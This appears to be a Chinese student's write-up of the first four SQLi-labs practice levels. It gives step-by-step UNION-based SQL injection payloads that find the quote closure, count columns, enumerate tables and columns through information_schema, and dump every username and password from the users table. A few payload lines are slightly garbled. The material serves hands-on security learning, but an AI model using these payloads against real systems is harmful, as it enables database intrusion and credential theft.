基本错误,单引号字符串
- 打开小皮,启动Apache和MySQL
- 点击题目在这里插入
- 先?id=1#(mysql)确定搜索位置,
地址末尾加’,确认是单引号闭合, - 查询字段数,在刚刚后面空格order by 数字,页面没变说明存在
这个就是不存在的,我们要先查询字段,因为后面union要求一一对应才显示
?id=1是定位,后面是具体执行语句; - 爆破当前数据库名称?id=-1’ union select 1,database(),3%23
(将id=1改为id=-1这样显示的是union的内容)不用-1页面优先显示原来结果 - ?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’%23
information_schema.tables:MySQL 系统表,存所有库、表信息
table_schema=‘security’:只查 security 这个库的表
group_concat():把所有表名拼接成一行,一次性全部展示
database() 是 MySQL 内置函数,不带参数,功能只有一个:
返回当前正在使用的数据库名称
7. ?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name=‘users’%23
information_schema.columns:存储所有数据表的字段(列)信息
column_name:字段名,用来取出 users 表里所有列
双重限制:table_schema=‘security’ 指定库,table_name=‘users’ 指定表
8. ?id=-1’ union select 1,group_concat(username,0x7c,password),3 from users%23
union select 1,xxx,3:固定 3 列,匹配页面回显位置
group_concat(字段1,0x7c,字段2)
0x7c 十六进制 = | 竖线分隔符,区分账号和密码
一次性拼接表里所有数据,全部展示在页面
from users:目标存储账号密码的数据表
第二题数字型输入
1.同上查询字段,发现仍然是3字段
上一题我们第一步确定搜索位置时候在1后面加了’,是因为我们要先一步闭合逻辑,让程序执行到我们的id=-1从而显示运行内容(在查询我们要的东西时,数据库会自己整个查询一遍,我们要把这个偷偷显示出来)数字型输入id=1后面不加东西
2. union select 1,2,3%23
3. 2改成database()来获得数据库名称security
这里只能改23,1在显示位不显示
4.查询全部表名
/id=-1 union select i,group_concat(table_name),3 from information_schema.tableswhere (注意-和最后的s)table_schema=‘security’%23
4. 字段是把上面除了table_schema其他的table全部换成column,注意information_schema.tables改后最后是columns,最后加and table_name='users;
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name=‘users’
5. ,group_concat(username),group_concat(password) from users
前面不变,select1展位id了,id也可以显示,但是这个题目没有给id的回显窗口
3单引号&括号闭合
1.前面改是?id=1’)
后面都不变(注意是schema)
?id=-1%27)union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=‘security’%20and%20table_name=‘users’%23注意这个后面有from users
4 双引号、字符串型(带括号)
这个和第一题不一样,在运行时候
在读取时候1后面会出现两个双引号,所以当界面显示错误时候反而证明他是双引号,出现同类时候才会结束这个语句,如果在我们输入后面加之前的#是没有用的,这个#在这里在两个双引号中间,被认为是普通语句,而不是执行语句,注意在之后的内容中,最后人要有%23来截断查字段,3
这个是因为前面少了一个),所以
探测时候不加)的原因
但是因为union执行时候是严格对应的,所以union时候要加上和前面一样,数据库名称,表名
?id=-1")%20union%20select%201,group_concat(username,0x7c,password),3%20from%20users%23
可以写成和2,3题一样的,只是最后表示不太一样